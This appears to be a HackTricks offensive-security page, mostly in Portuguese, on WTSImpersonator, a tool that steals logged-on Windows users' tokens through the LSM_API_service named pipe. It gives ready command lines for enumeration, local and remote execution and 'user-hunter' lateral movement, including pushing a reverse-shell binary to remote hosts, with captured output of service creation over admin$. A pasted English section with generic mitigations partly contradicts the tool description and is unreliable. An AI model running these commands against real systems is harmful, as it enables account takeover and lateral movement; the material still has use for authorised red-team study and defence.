8 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
O WTS Impersonator abusa do Named pipe RPC "\pipe\LSM_API_service" para enumerar usuários logados e roubar tokens de outros usuários sem usar a técnica normal de "Impersonação de Token", isso permite um movimento lateral fácil e discreto, essa técnica foi pesquisada e desenvolvida por Omri Baso.
A ferramenta WTSImpersonator
pode ser encontrada no github.
WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW
Módulo enum
:
Enumerar Usuários Locais na máquina em que a ferramenta está sendo executada
.\WTSImpersonator.exe -m enum
Enumerar uma máquina remotamente fornecendo um IP ou um nome de host.
.\WTSImpersonator.exe -m enum -s 192.168.40.131
Módulo exec
/ exec-remote
:
Tanto o "exec" quanto o "exec-remote" requerem estar em um contexto de "Serviço". O módulo local "exec" não precisa de nada além do WTSImpersonator.exe e do binário que você deseja executar (sinalizador -c), isso poderia ser um "C:\Windows\System32\cmd.exe" normal e você abrirá um CMD como o usuário desejado, um exemplo seria
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
Você pode usar o PsExec64.exe para obter um contexto de serviço.
.\PsExec64.exe -accepteula -s cmd.exe
Para exec-remote
, as coisas são um pouco diferentes. Eu criei um serviço que pode ser instalado remotamente, assim como o PsExec.exe
. O serviço receberá um SessionId
e um binário para executar
como argumento, e será instalado e executado remotamente, desde que as permissões corretas sejam fornecidas. Um exemplo de execução seria o seguinte:
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName: Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)
Como pode ser visto acima, o Sessionid
da conta de Administrador é 2
, então o utilizamos em seguida na variável id
ao executar o código remotamente.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
Módulo user-hunter
:
O módulo user hunter permitirá que você enumere várias máquinas e, se um determinado usuário for encontrado, executará código em nome desse usuário. Isso é útil ao procurar por "Administradores de Domínio" enquanto se tem direitos de administrador local em algumas máquinas.
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
WTS Impersonator
The WTS Impersonator technique allows an attacker to steal user credentials by impersonating a Windows Terminal Server (WTS) session. This technique takes advantage of the fact that WTS sessions can be redirected to a remote server.
How it works
- The attacker gains access to a target system that has a WTS session active.
- The attacker identifies the active WTS session and determines the session ID.
- The attacker uses the
WTSQueryUserToken
function to obtain the user token associated with the active session. - The attacker duplicates the user token using the
DuplicateTokenEx
function. - The attacker creates a new process using the duplicated token, effectively impersonating the user.
- The attacker can now perform actions on behalf of the user, including stealing credentials.
Mitigation
To mitigate the risk of WTS Impersonator attacks, consider the following measures:
- Regularly monitor and audit WTS sessions to detect any unauthorized activity.
- Implement strong access controls and authentication mechanisms to prevent unauthorized access to WTS sessions.
- Use multi-factor authentication to add an extra layer of security to user credentials.
- Keep systems and applications up to date with the latest security patches to prevent exploitation of known vulnerabilities.
- Educate users about the risks of phishing attacks and the importance of not sharing their credentials with anyone.
By implementing these measures, you can significantly reduce the risk of WTS Impersonator attacks and protect user credentials from being stolen.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129
----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!
[+] Deleted Service